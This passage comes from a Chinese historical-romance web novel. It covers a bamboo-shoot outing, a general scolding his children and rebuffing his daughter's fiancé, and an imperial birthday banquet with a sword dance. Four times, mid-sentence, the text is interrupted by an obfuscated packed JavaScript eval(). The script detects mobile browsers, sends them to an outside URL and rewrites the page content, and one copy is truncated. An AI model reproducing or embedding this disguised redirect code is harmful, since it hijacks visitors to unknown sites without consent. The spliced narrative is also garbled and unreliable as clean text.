于是凌思语和元寄北被迫留下听课。 凌思语倒还好,到底是读过些书,听起课来不算困难。 元寄北可就苦了。他皱着一张苦瓜脸,听温衡在那里讲学,如同听天书一般,偏生还不敢睡。 一来,此事的确是他理亏,他也怕温衡向元向依告状;二来,众多学子不时投来好奇的目光,他为了维持勇武过人的将军形象,别说睡了,就是动都不敢。 温衡看在眼里,有些想笑。真要说起来,他这位大舅哥憨直的性子,倒是和元向依有时候流露出的单纯有几分相似之处。 他有心逗逗元寄北,不时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114498|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会提问他。 “元将军,书上这一句是什么意思呢?如果可以的话,请你解释给学子们听一听。” “……不知道。” “那这一句呢?” “……也不知道。” 元寄北觉得,自己这辈子没这么丢人过。仿佛回到了年幼时,被教书先生支配的恐惧。 小时他便不爱读书,为此元老将军没少揍他,也改不了他这重武轻文的天性,最终索性还是由着他去了。 等到他长大才发现,原来他遗传了他爹九成九的性子。既然他爹也不爱读书,那他从小到大挨揍不是白挨了?! 时间到了现在,他高大的身躯缩在小小的桌案前,有些拥挤,腿脚都伸展不开。 要是在小时候,他还能做些恶作剧整蛊先生,可现在面前的先生是温衡,他亲妹的夫婿,还是个身娇体弱的病秧子,打也打不得,骂也骂不得,让他十分憋屈。 这边元寄北度日如年,温衡倒是觉得时间过得很快。上午的时光一晃而过,学子们纷纷向温衡道别,他也一一回礼。 凌思语和元寄北一齐排排坐着,看起来十分乖巧。 温衡正要说些什么,就发现元向依寻了过来,远远瞧见他们,正向他们身边走来。 元向依一早便发现大哥不在家,还以为是出门练武,或是去找巡防营的弟兄们喝酒。没过多久,却收到了凌府送来的消息。 原来自家大哥又干了好事,这次可更好了,直接溜进人家府里把凌思语拐走了! 这可还行?元向依扶额,十分无语,对于自己大哥的不开窍忧心忡忡。 若是真心喜欢凌思语,不如就将她娶回家里,大家皆大欢喜。偏偏她这大哥似乎是木头脑袋,凌思语也不好意思,一个不懂,一个不说,就一直这样耗着。 她越想越气,面上就不由得带了责怪的表情,看得凌思语和元寄北一齐心虚。 温衡注意到这一点,突然有了主意。 在元向依开罪二人之前,温衡主动道:“元将军与凌小姐听了一上午的课,应该也疲累了。现在天色还早,不如我们寻个好去处游玩一番。” 此话一出,三个人都有些愣。 元向依心想:如此甚好,正好给大哥和小语创造单独相处的机会。 元寄北想的则是:终于离开这个鬼地方了!只要依依高兴,去哪里都无所谓! 凌思语觉得:反正已经从家里溜出来了,横竖都得挨一顿骂,就这么回去多不够本! 于是三人各怀心思,竟然一齐点头同意了。 温衡瞧着面前的三个人,嘴角轻轻牵了起来。 16. 竹宴 元向依让府里寻了辆马车,供他们三人来坐,元寄北习惯了骑马,也就随了他去。 这城外有一条小径,可直通附近山上。盛京地处平原,仅有若苍山脉无尽绵延。 他们所要去的这山,仅为若苍山系的边缘部分,山势平缓,亦不甚高峻,却盛产修竹,常年一片青翠竹海。 如今惊蛰已过,元向依估摸着这会儿山上可能有小竹笋挖,于是向附近农户借了小竹篓,拾起锄头便招呼几人上山去。 四人两两分组,元向依就领着温衡。温衡体质弱得很,不适合干这种粗重活,她就索性提着锄头,自行开始寻找山笋的踪迹。 温衡看着她的样子,仿佛在寻找什么东西,不禁开口问道:“你在找什么?” 元向依道:“嘘,别打扰我,我马上就找到了。”说罢看见地上有一处土块微微隆起,土质松软而有裂缝,心知这里可能有个大竹笋,便挥锄头去挖它周围的泥土。 温衡学着她的样子,也寻到一棵小的,清理掉表面的泥土后,看起来不太粗壮。 温衡从未做过这档事,不知道这竹笋是要一点点向外挖的。心下觉得何必那么麻烦,便直接上手去拔。 他颇为自信,却只听得“咔”的一声,竹笋竟从中间断裂开来,只剩下可怜的半截还握在他的手上。 他愣了一愣,不信邪地又去试了几次,无一例外都失败了。 远处元向依挖了半天,才堪堪将周围的泥土清理干净,挥锄斩断竹笋的根部,小心翼翼地把笋从坑里捧出来,塞进竹篓。 扭头却见温衡掰一根断一根,四周遍地都是断成两截的竹笋,顿时有些无语,连忙过去止住他的动作:“……你不要在这里……努力了,去帮我填土吧。” 她其实想说添乱,又怕伤他的心,踌躇片刻还是把话咽了回去。 温衡顺着元向依手指的方向看去,懵懂地说:“哦。”看上去有几分委屈和乖巧。 于是她挖一个,温衡跟在后面填一个,填土当然比挖笋快得多,更多时候,他都在注视着眼前的人。 他毕竟还是聪明,后面元向依渐渐累了,他便主动接过锄头,继续挖下去。元向依见他似乎会了,便也不再管他,只是坐在一旁,专心看着。 他今日穿了一袭月白袍,上面绘着墨竹图案,配上那俊美无俦的眉目,正恍如画中谪仙一般。 温衡挖来挖去,不知怎么就又挖到了她面前。她看着他额头上细密的汗珠,鬼使神差般的,踮起脚尖,用衣袖为他擦去了汗。 那一瞬间,温衡灿如星子的眼眸染上了浓重的笑意。 元向依回过神来,才发现自己做了什么,顿时脸红心跳,心里懊恼自己不经意就被美色所迷。不过这也不能怪她,实在是温衡这张脸对她的杀伤力太大了。 待到竹篓装了满满的山笋,元向依站起身便打算回去。 沿着小径走了半里地,忽听得风吹竹海,竹林摇乱,竹叶簌簌而下,却难掩不远处传来的金铁之声。她和温衡对视一眼,心下好奇,去寻这声音的来处。 元向依穿过这层层竹海,寻声望去,远处一个身影如游龙般翩然而下,手中一柄精铁重剑气势如虹,不是元寄北又是谁? 剑影森森剑光寒,他挽了个剑花,径直向一枝竹子刺去,剑锋将至时却突然变了招式,变刺为削,力道比之前大了三倍有余,生生横削过去,半截竹子随着动作哗啦啦掉在地上,激起掉落的竹叶和浮尘。 他轻轻一踢另一根竹子,借助弹力阻了下坠之势,在空中一翻,生生扭转了身体,再度凌空而上,在虚空中劈出数招,动作迅猛如电,而落下的竹叶竟全数自当中被断为两截。 飘飞翻舞的落叶中,元寄北飘然落地,负手执剑而立。 而在他的对面,凌思语看得出神,直到元寄北已然收了剑,走到了她的面前,一时间两人也都没有说话。 突然,元寄北揽过她的腰飞身一带,将她带到了竹子高处。 凌思语慌乱不已,紧紧地攀住了他。 元寄北闷闷地笑了,安抚道:“有我在,不用怕。” 凌思语有他牵着,方敢往下瞧,只见此间风景独好,竹海连绵不绝,铺开宛如青绿画卷,再向远处望去,若苍山在远处云雾缭绕间若隐若现,只露出一个模糊的轮廓。 两人立了一会,还是凌思语先开口道:“我、我要下去。” 元寄北寻思闹也闹够了,不逗她了,还是一样揽过她的腰,不过眨眼间便带她稳稳落在地面上。 她看一眼元寄北,道:“元大哥,你的功夫果然很好。” 元寄北不自觉直了直腰:“那是自然,战场上刀剑无眼,一招一式之间,不仅是胜负之分,更是生死之别。” 凌思语点了点头:“那我现下知道你有什么事可以做了。” 在元寄北疑惑的目光中,她微微一笑:“依依既然挖了竹笋,那我们便可以烧竹筒饭。劳烦元大哥,砍两打一尺长的竹子来。” 于是元寄北提起重剑向竹林中走去。他速度倒快,左劈右砍,不一会就抱着一堆一尺左右的竹筒过来,放下后再回去林中继续。 凌思语歇够了,也不闲着。从竹篓里掏出准备好的麻绳,将那竹筒一捆捆扎好。 等两人收拾停当,元寄北便主动背上了那竹篓,一手提着一打捆好的竹筒,走在她前面,而凌思语只需抱着锄头,一身轻松。 待到几人都净完了手,元向依安排自家大哥清洗竹筒、剥开竹笋,自己进厨房去准备其他食材。而温衡和凌思语作为重点保护对象,什么都不用做。 等竹筒一一清洗好了,她再指挥大哥生了个火堆,自己将适量混入盐巴、猪瘦肉和香肠的香糯米塞进竹筒,加水后再用大片鲜叶堵严竹筒口,一同扔进火堆炙烤。 竹筒饭准备好,元向依却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114499|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算停下,从农户家厨房中寻了个小砂锅,打了大半锅现成高汤,又将锅坐在厨房外的小泥炉上。那小泥炉本是用来煎药的,此时熬汤倒也得宜。 咸肉冲洗干净表面盐分,百叶结洗净泡开,再将处理好的冬笋切滚刀块,在淡盐水中焯一下,一切准备停当后,将食材依次下入锅中慢炖起来。 再去看竹筒饭,只见竹筒表皮已然烧焦,应是火候正好,便用烧火棍从火堆中扒出竹筒,准备打开。 元向依抽出匕首,正欲下手之际,元寄北伸手拦住,道:“我来。” 元向依便毫不客气地递给了他,嘴上也不忘说着:“还是大哥疼我。” 元寄北接过竹筒,用刀刮去表面焦黑的外皮,再用刀背轻敲几下后,取出封口鲜叶,刀锋沿竹筒两侧轻轻一划便打开了。 然后将手中的竹筒递给她:“这等粗活还是叫我来做吧,你仔细伤了手。” 元向依捧着竹筒,糯米的芳香混合了竹子的清香,柔软美味,猪瘦肉和香肠又赋予了糯米饭恰到好处的油脂,香气袭人。于是眉开眼笑,扭头去问其他人:“好不好吃?” 而温衡很捧场,笑着对她点点头。 元向依这才心满意足,等饭用得差不多,又去看那坐在泥炉上的砂锅,汤的香味早已四处飘散。又等了片刻,待汤汁变成奶白色,才盛了几碗出来,依次递给大家。 她自己也捧一碗到原处坐下,轻抿了一口,恰到好处的咸鲜,配着柔嫩清脆的山笋,烩出了一碗融融春色。 四人难得有这样的时光,只觉得时间都走快了些。 * 自从元寄北让副将们操练轻功开始,后院中多了两个上蹿下跳的身影。 依照元寄北的吩咐,林副将每日清晨提一笼小麻雀来,打开笼门全数放飞后,再让另两位受罚的副将去捉,将所有麻雀捉回才算结束。 因着刘副将体型颇大,为了加强训练,腿上的沙袋都是别人两倍重,让他每次跃起跑跳都格外费力。何况这麻雀被人捉过,下次就更难捉到,如此便是一日更比一日难捉。 有时累得狠了,他便边捉边破口大骂:“他奶奶的,林副将你小子倒是省力,成了天的给老子放这些破鸟过来,信不信我哪天全给你射下来?” 林副将半躺在树杈上翘着二郎腿,嘴里叼着一根狗尾巴草:“将军的安排,拿我撒什么气?何况就算麻雀没有了,我这边还驯了鸽子老鹰,那可是一只比一只凶,你要不要试试?” 远处又传来刘副将浑厚的声音,只是距离远了,听不真切,隐约有“烤了”、“下酒”等几个字。凌思语在一旁见状便摇摇头:“他们也真是倒霉。” 元向依也朝远处瞧了瞧:“大哥与他们开玩笑呢,左右不过练个几天便罢了。”说完看向凌思语,“小语可是累了,要不要休息一下?” 凌思语点点头道:“依依,你陪我去别处坐坐可好?” 17. 严父 凌思语拖过元向依的手,到院中石桌旁坐下,总算离喧嚣吵嚷远了一些。 不得不说,元寄北回到家里以后,整个将军府比往常可热闹了太多。 阳光从树叶的缝隙里洒落下来,星星点点映在她们身上。 凌思语道:“再过些日子,就到圣上的千秋节了。” 元向依忆起,千秋节之时,文武百官、京都世家均需携眷前往朝拜,参与御宴。自从明德帝几位皇子先后成年,千秋节名义上是为圣上祝寿,实际上却是替皇子们挑选王妃的场合。 千秋御宴上,也总会有别出心裁的世家贵女脱颖而出,成为王妃的不二人选。 而上一世,这个机会好巧不巧,就落到了凌思语头上。 那时元向依虽然尚未与陆时安成婚,却已是作为未来的康王妃出席宫宴,见证了全程的她,深深地感到自己的无力。 凌思语并无意入宫,只是因为身份的缘故,被卷入了夺嫡斗争。毕竟在重文轻武的澧朝,武将世家寥寥无几的嫡女,总是成为皇子们竞相争夺的对象。 如今康王、睿王两位皇子的正妃之位一齐空缺,圣上不会偏私,必然会同时为两人相看。元向依已经定亲,也就意味着凌思语的危险系数大幅度提高。 但是千秋节重要且规模盛大,以定西将军的地位,避开也是完全不可能的事。 元向依心中,突然有了一个主意。 她握住凌思语的手,眼中带着促狭的笑意:“小语提起千秋节做什么,莫不是想去做王妃?” 凌思语啐了她一口:“就你惯会胡说八道,我心里想什么,你还不知道么?” 元向依道:“我自然知道,小语是要与我做姐妹的,只是,你想不想更进一步呢?” 在凌思语疑惑的目光中,她悄悄凑近耳边:“我叫大哥去你家提亲,好不好?” 凌思语的脸唰地一下就红了,半天才嗫嚅道:“依依,这事强求不来,首先元大哥得愿意,其次还需要你爹也认可……” 坏了,她怎么忘了这事,临近千秋节,她爹元老将军也在回京的路上,不日就要到了! 虽说她爹对她一向纵容,但她也不确定,如果自己给他随便找了个女婿,他还能不能心平气和。 于是在这个和煦的春日里,两人各有各的心事,唯一相同的是,都不由自主地烦恼起来。 * 元修拿自己这一双儿女,是真的没办法。 妻子早亡,他一个带俩,好不容易拉扯大了,又都继承了他的志向和武艺,成了保家卫国的将领,他还没欣慰两天,就听闻他们又在外面惹事了。 一个在大狱里走了一圈,还好是毫发无损地出来了;另一个则是随便选了个夫婿,半点没有事先通知他的意思,甚至于他很有可能还是全盛京最后一个知道的。 家门不幸,他十分怀疑这一双儿女这辈子是来讨债的。 于是当他进宫见过圣上,再回到家里时,发现这对兄妹已经乖乖在门口等着了。明明都是战场上杀伐果决的人,见了他还是如小绵羊一般。 虽然许久不见他们,心里甚是思念,但面子上毕竟抹不开,总要让他们知道,这次是做得过分了。 于是他摆出一副严肃脸色,大踏步进了府门,看也不看兄妹二人一眼。 兄妹俩对视一眼,知道父亲肯定还在生气,连忙跟了上去。 进了正堂,元向依这个贴心小棉袄可以蹭在父亲身边端茶捶背,元寄北作为军大衣就只有堂下跪着的份。 元修不紧不慢,等用了一盏茶,才向元寄北道:“好小子,你老子不在,你就敢折腾进大狱里面是吧?” 这可真怨不得元寄北,元向依知道自家大哥嘴笨,主动帮他解释:“爹爹,大哥那是为了救我才……” 元修毫不留情地冲她道:“你也下去,和他一起。” 元向依只好也灰溜溜地走到元寄北身边,刚要哭丧着脸跪下,元修却皱着眉头摆了摆手:“罢了,你站着吧,看得我心烦。” 元寄北跪在旁边,默默想:爹,难道您看我跪着就不心烦吗? 元修道:“此事我已从圣上处知悉,听说依依那日是与未婚夫婿一同出游才遇袭。” 他转向元向依,准备兴师问罪:“什么未婚夫婿,我怎么不知情?” 元向依有些措手不及。糟糕,本来还想哄哄爹爹,先把这事糊弄过去再说,却没想到他这次一点不偏私,竟是当下就要问出个所以然来。 见元向依缄默不语,元修直接去问元寄北:“你妹妹既然哑巴了,那你来说。你总该见过你这个准妹夫了吧?” 元寄北心眼实,就讷讷道:“是见过的,人长得不错,虽然看起来文文弱弱,但是人品性格还可以……” 元修气得一拍桌子:“说重点!他姓甚名谁,哪里人氏,现在做什么官,又是怎么和你妹妹相识?” 问题太多,元寄北也觉得头大,一时不知道该从何处答起。这边小桃已经冒冒失失跑了进来:“老爷,姑爷……” 在看见元修沉着的脸色时,小桃识趣地立刻改口:“温大人登门拜访。” 元向依扶额,温衡消息倒快,礼数也周全,只是苦了她要夹在中间左右逢源。 元修正愁满腔怒火无处发泄,未来女婿就误打误撞地送上了门,这还不得好好“关照关照”? 于是他哼了一声,让元寄北起身:“你先起来,外人面前,给你留点脸面。” 元寄北不敢吭声,和元向依退到一边去,并肩站着。 远远的,有一人逆光而来,身姿修颀如松。 元修眯起眼睛去看,觉得有几分眼熟。 倒像是……多年未见、已经过世的一位故人。 恍惚只是一瞬,他细细打量温衡,半晌不说话,连带着元向依都觉得失礼,尴尬起来。 她看看自己爹爹,又看看温衡,踌躇着要不要率先开口。 温衡却恍若未觉,上前行了大礼:“小婿温衡,见过岳父大人。” ……他改口倒挺快啊! 元修依然摆着脸色,问道:“你姓温?” 温衡点头,还一脸小心地问他:“岳父大人,可是小婿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114500|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姓氏不好?若是会冲撞您和依依,小婿也可以改姓元……” 呵,真是胡闹。 元修冷笑一声,虽然和故人是一样的姓氏,看起来却没有半点那人的胸襟气度,巧合罢了。 元向依站在温衡的立场,倒是可以理解他的狗腿。 在旁人看来,元修身上杀伐之气过重,好似常年裹挟着塞北的冰雪和罡风,暴躁而烈性。在朝中又不喜与文臣为伍,只与武将有些来往,一般的文官见他如此威严,不吓得瑟瑟发抖已是万幸。 相比起来,温衡已算是进退有度了。 不过因为元家人刻在骨子里的护短,元修对兄妹二人倒是一直极好,尤其对她这个女儿,可算得上是偏心溺爱了。 她也不敢任由父亲为难温衡,大着胆子上前,横在两人中间,挡住了父亲严厉的视线。 “爹爹,别光顾着说话,先让温大人坐下吧……” 元修将她的举动看在眼里,心中是越想越不爽。自己辛辛苦苦养大的白菜,几个月不在身边,怎么就被猪拱了? 虽说是一棵勇武过人的白菜,和一只弱不禁风的猪。 元修随意点了点头,却没有让温衡坐下的意思,只是道:“温大人,老夫有一事不明。” “岳父大人请讲。” “温大人是用了什么好手段,才骗取我唯一的女儿与你成婚?” 温衡抬起眼,脸上满满都是无辜神色:“岳父大人明鉴,我与依依两情相悦,并未有任何不轨之心。” 元修显然对他的说辞并不相信:“究竟事实为何,温大人心知肚明。虽然圣上的赐婚难以收回,但老夫依然不认可你成为依依的夫婿。温大人无需多言,请回吧。” 若是一般的读书人,面子上早已挂不住,愤而离开。温衡却面色不变,只是默默行了一礼,自行退了下去。 元向依的视线追随着他的身影,突然就提起裙摆,追了上去。 元修望着两人一前一后的背影,默默垂下了眼。 女儿大了,留不住了。 元寄北见爹爹沉默不语,不知道他是在为这种事而伤心,思忖了半天才支支吾吾道:“爹爹,我也有件事要同你讲……” 元修好似没有听见。 元寄北大着胆子继续道:“儿子要去向小语提亲,您看……” 元修忽然发起脾气来:“你个混小子!和你妹妹一起胡闹,还嫌气不死我是不是!” 说罢径直拂袖离去,独留元寄北在原地傻了眼:“我怎么就气死您了?小语也是您看着长大的啊!” * 元向依追上温衡,和他并肩走着,将他送出门外。 她面上带着歉意,觉得这场景有些似曾相识:“抱歉,又让你受委屈了,上次大哥也是……” 但起码父亲年纪大了,冷言冷语是有,倒是不会动手。 温衡却淡淡道:“无妨,我今日来时,早已预想到如此局面。” 元向依就问他:“既然你知道,你还要来?” “礼数周全罢了。何况你在这里,我不能不来。” 18. 千秋 元向依心头蓦地一动。 他说,她在这里,他不能不来。 温衡见她愣神,似乎没听懂这句话的意思,耐心解释道:“你父兄都在,大婚前再想见你,可就难了。所以无论我今日遭受多少冷言冷语,也是一定要来的。” 他说话轻轻柔柔的:“来瞧你一眼。” 元向依有些羞赧,微微笑了起来,安慰他:“那你再等等,也就一两个月的光景了。” 他的话音里都带着撒娇的意味,继续道:“一日不到大婚,我总是不放心。” 元向依道:“我在父兄身边,有什么不放心的?左右千秋节也是能见上一见的。” 她似乎又想起来什么,对他道:“等过了千秋节,婚服也做得差不多,到时……到时让人送到你府上试试。” 温衡含笑点了点头:“好。我囊中羞涩,实在过意不去,届时你的也送过来,我改改样子再还给你。” 元向依就有些惊奇:“你还会改衣服?” 温衡似乎很有自信:“那当然,我自小……穷困,自然什么都会,描花样也在行得很。” 元向依觉得,虽然他肩不能扛,手不能提,与她像是两个世界的人,但与他在一起,也许生活会多了不少意趣? 两人在门口又絮絮说了一会才分别。 * 盛京城中没有不透风的墙,不过一两日,温大人被自家岳父拒之门外的事情就传了个遍。 所幸温衡这两日休沐,不必上朝,也不必去翰林院点卯,干脆闭门不出。 他躺在院中的树上,悠闲地晒太阳。 松柏送了点心茶水过来,抬头看他在那么高的地方,连忙喊道:“小侯爷,下来用些点心吗?” 温衡只是闭目养神:“松柏啊,你这个嗓门,是生怕附近邻居不知道我是小侯爷是吧?” 松柏挠头笑了笑:“圣上早就精心安排,这宅子邻里都是没住人的,小侯爷就别拿我打趣了。” 见温衡无动于衷,松柏灵机一动,冲着回廊大喊:“夫人,您怎么来……” “了”字还没说完,温衡以极快的速度从树上飞身而下,趴在桌前就开始装柔弱,一副风一吹就倒的样子。 连松柏都替他尴尬,咳了一声才道:“小侯爷,别装了,夫人没来。” 温衡同时也发现了这一点,作势就伸手要去打他:“好你个松柏,都敢开我的玩笑了是不是?” 松柏一边闪躲,一边道:“小侯爷,您是不知道现在外面怎么说您的。” 温衡吃着点心,眼皮都不抬:“怎么说的?” 松柏大着胆子道:“说您倒贴上门去将军府,却吃了闭门羹。” 他觑着温衡的神色,继续道:“更有甚者,说元老将军把您打了一顿,所以您现在居家养病,才不去上朝的……” 温衡突然道:“松柏,你第一天认识我?” “嗯?小侯爷何出此言,松柏从您五岁就跟在您的身边……” “那你还不知道我脸皮有多厚?” 能说出这种话的人,脸皮肯定薄不到哪里去。 温衡百无聊赖地趴在桌上:“别人怎么说,我根本不在乎,只要能见到依依就行。” 好不容易挨到了五月,离六月的婚期竟然还有一个月,温衡有些怨念地想,季允这厮,安排的婚期还是太晚了些。 * 又过了些日子,元向依等父亲的气消了些,才敢在他面前提起大哥去凌府提亲的事。 相比于她和温衡这种素不相识的关系,元寄北和凌思语可算青梅竹马,走到一起也顺理成章。 元修没有再说什么,只是带元寄北上门去提亲,两家坐在一起,把这事敲定了下来。 只是武将联姻,圣上毕竟还是有些忌惮,所幸凌思语的父亲凌老将军也想开了,打算从此卸了军权,颐养天年。他又只有凌思语一个女儿,相当于将定西军完全交还了朝廷,圣上这才爽快应允了这桩婚事。 不得不说,论起精明算计,无论前世今生,都无人能比得过明德帝。 如此一来,凌思语的危机也解除了,元向依就不相信,康王和睿王会愿意担个君夺臣妻的罪名。 她彻底放下心来,开始准备千秋节的相关事宜。 说是准备,其实也不必特别费心,不过是打点当日入宫的车驾,最重要的,还是预备进献给圣上的贺礼。 元家不算大富大贵,平时也只是拿份朝廷俸禄,自然是拿不出什么稀奇珍宝。但若是论起边关特色,倒是能拿出许多。 左右不过是些皮毛、劲弓、宝马之类的,元向依早早安排下去,让人准备好,再拿给父亲定夺。 忙活了一阵,她又不由自主地想起温衡来,他入朝为官不久,想必还没什么积蓄。 千秋节不可怠慢,虽说圣上不一定要求特别名贵的礼物,但总也不能太过廉价,没的失了身份。她便叫小桃私下把她的私房钱给温衡送去,让他采买些拿得出手的贺礼。 只是没想到却被温衡退了回来,还附了张字条给她:“自有办法,放心。” 既然他胸有成竹,她也就不再操心,只是有些好奇,期待着千秋节那一天。 * 到了千秋节那一天,盛京城中洋溢着庆祝的气氛。 元向依坐在马车上,悄悄掀帘向外望去,只见百姓一片欢乐祥和,显出国泰民安的盛世之象,心中暗自高兴。 她一家人在边关浴血奋战,不就是为了守护这一番繁荣景象? 元寄北注意到她的动作,打马到她车旁来,问她:“小妹,怎么了?” 元向依摇了摇头:“没什么,我心里高兴。” 元寄北看了看远处,俯下身来和她说话:“小妹,等下就到宫门了,爹爹和我会先进去,女眷还需等上一等,你若有事,便让身边人来寻我们。” 元向依道:“好了,又不是第一次进宫,还能有什么事,大哥不必担心,还是快去吧,不要误了时辰。” 元寄北得了她的话,上前追赶父亲而去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114501|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >元向依放下车帘,心却怦怦直跳,似乎有种预感,马上就会见到那个人。 她正胡思乱想,突然有人轻叩车窗,她犹豫片刻,还是应了声。 温衡熟悉的声音从窗外低低传来:“最近还好吗?” “……嗯。” 微风吹起车帘一角,露出她线条优美的脖颈。 温衡的手顿了一顿,还是循着礼数,按捺着没有掀开去看她。 他向车内递过去一件事物,元向依接过一看,却是一丸丹药。 温衡继续叮嘱她:“等下千秋御宴上,除了统一的餐食外,不要乱吃别人递来的东西,水酒也不要多喝。如果感觉不好,就把解酒药服下去。” 见他絮语的样子,元向依不由得就笑了:“子瑜,你真是……把我当三岁孩子了是不是?” 温衡听了,突然问她:“你叫我什么?” 她这才意识到,方才不小心喊了他的表字,还是显得有些过于亲密了。 她正不知道该如何解释,温衡却道:“以后都这样叫吧。” 他的声音听起来说不出的舒心:“我喜欢听。” * 元向依同贵女们坐在一处,神思依然恍惚。所幸除了凌思语外,其他贵女觉得她粗鄙不堪,也不愿与她搭话,倒让她觉得自在清闲许多。 温衡的视线越过满座宾主,遥遥落在她身上。 她看起来心不在焉,对面前佳肴也兴致缺缺,想必是把他的话记在心里。 他忆起前世,这千秋御宴乃是他最后一次参加宫宴。只是彼时,他是以勇毅侯世子的身份入京的。 元向依作为准康王妃,同陆时安坐在一处,她看起来仿佛抽走了灵魂,他便知道,她不喜欢这样的场合,嫁给康王,总归也是不太情愿的。 而他坐在她对面略略下首的位置,只能远远地看着她。 虽然他们之间隔着的人,比今天的要少许多,但他知道,那已是咫尺天涯的距离了。 而不是像如今一般,虽然两人都坐在臣子的席位上,心却从未这样近过。 只因他知道,这一世,已经不会再有什么能把他们分开了。 但他仍不敢放松警惕,只要一天未成婚,他就无法保证旁人不会打她的歪主意。 果然,很快有人跳了出来。 江淑妃柔柔地提议:“圣上,席间怎可无舞乐助兴?臣妾听闻,有好些位世家小姐蕙质兰心,冠绝京城,不如请出来,看看是否如传言一般。” 江淑妃是睿王的生母,那这话就是明晃晃的邀约了。 圣上应允下来,便有数位贵女先后上前来,吹拉弹唱无一不精,擅舞之人也比比皆是。元向依可是自愧弗如,便只顾着欣赏美人了。 殊不知,在温衡眼里,这些不过是雕虫小技、庸脂俗粉,唯有他的依依英姿飒爽、独一无二。 元向依出神看着,全然没有意识到即将到来的危险。 直到突然有人出言:“元家的女儿可在?不如也上前来献艺一番?” 19. 剑舞 元向依回神,去寻找这声音的来源,却发现正是圣上身边的,陆时安的生母薛德妃。 不是吧,难不成陆时安还不肯放弃? 薛德妃此言既出,明德帝的目光便也投了过来。 她少不得要起身,恭敬行礼后才道:“臣女自幼习武,旁的技艺却是荒废了,还望圣上、德妃娘娘莫怪。” 这说的倒是实话,她的确不会什么女儿家的技艺,最擅长的可能是耍长枪。 薛德妃却道:“无妨,元家小姐武艺高强,自然与平常的闺阁小姐不同。本宫听闻前朝民间曾有擅剑舞的女子,飒爽姿容不输男儿,目前看来,也只有贞武将军可效仿一番。” 她心下奇怪,自己早已与温衡定亲,这是众所周知的事实,为何薛德妃仍坚持让自己出来献艺? 只是这千秋御宴献艺选妃,乃是约定俗成的规矩,却并没有人明说,一定是有意入宫的才能上前。 如今圣上也在等她回应,全场的目光聚焦在她身上,她不能失礼。 于是她便福了福身道:“既然圣上、娘娘有意,臣女也不敢不从,只是需将桌案撤得远些,免得伤了无辜旁人。” 凌思语不愿她独自为难,也站起来道:“臣女愿为元姐姐抚琴壮行。” 明德帝一一允诺,让人将桌案后撤,为她腾出一片偌大的空地来。 近侍递了羽林卫的佩剑过来,那佩剑虽锋利,却主要是实战之用,略显笨重,并不适合体现剑舞轻灵之姿。 于是她又道:“还请圣上准许,取臣女的佩剑来。” 元向依的贴身软剑轻薄坚韧,主要依靠对于力量恰到好处的掌控和身体的灵活度,只要使用得当,便会像跳舞一样。 她轻抖手腕,软剑在她手中陡然绷直。 她向凌思语示意,凌思语点了点头,琴音从指下流泻而出。 软剑如长蛇般绕着她周身盘旋,仿佛有自己的生命一般。 比雪亮的银芒还要明亮的,是她眼中坚定的光芒。 凌思语所抚琴曲,也并非软绵绵的靡靡之音,而是为将士壮行的军乐。慷慨激昂的曲调,又隐隐转为沉郁悲壮,剑势也由此慢了下来。 温衡知道她前世经历颇多战火,此时想来是勾起了伤心事,看向她的目光也疼惜许多。 只是今日毕竟是圣上千秋,气氛却如此沉重,未免还是有些不妥。 一曲舞毕,全场寂静。 元向依收了剑,上前几步跪下:“为我朝守疆卫土,元氏责无旁贷,臣女谨以此舞献于圣上,恭祝圣上千秋万代,万寿无疆!” 凌思语紧跟她跪下,也道:“臣女恭祝圣上天年永驻,国祚绵长!” 如此倒是哄得明德帝龙颜大悦,连带着之前献艺的贵女们,也通通有赏。 只是这样一来,千秋御宴的献艺,元向依反而成了最出风头的。幸好她早已定亲,贵女们即使心有怨言,也不能说什么,毕竟不是人家自己主动献艺,而是薛德妃提出来的。 如此一来,薛德妃倒成了费力不讨好的那个,只是她看起来毫不在意,并没有觉得折了面子。 圣上兴致起来,便让近侍将皇子公主兼百官们的礼物拣好的一一展示出来。 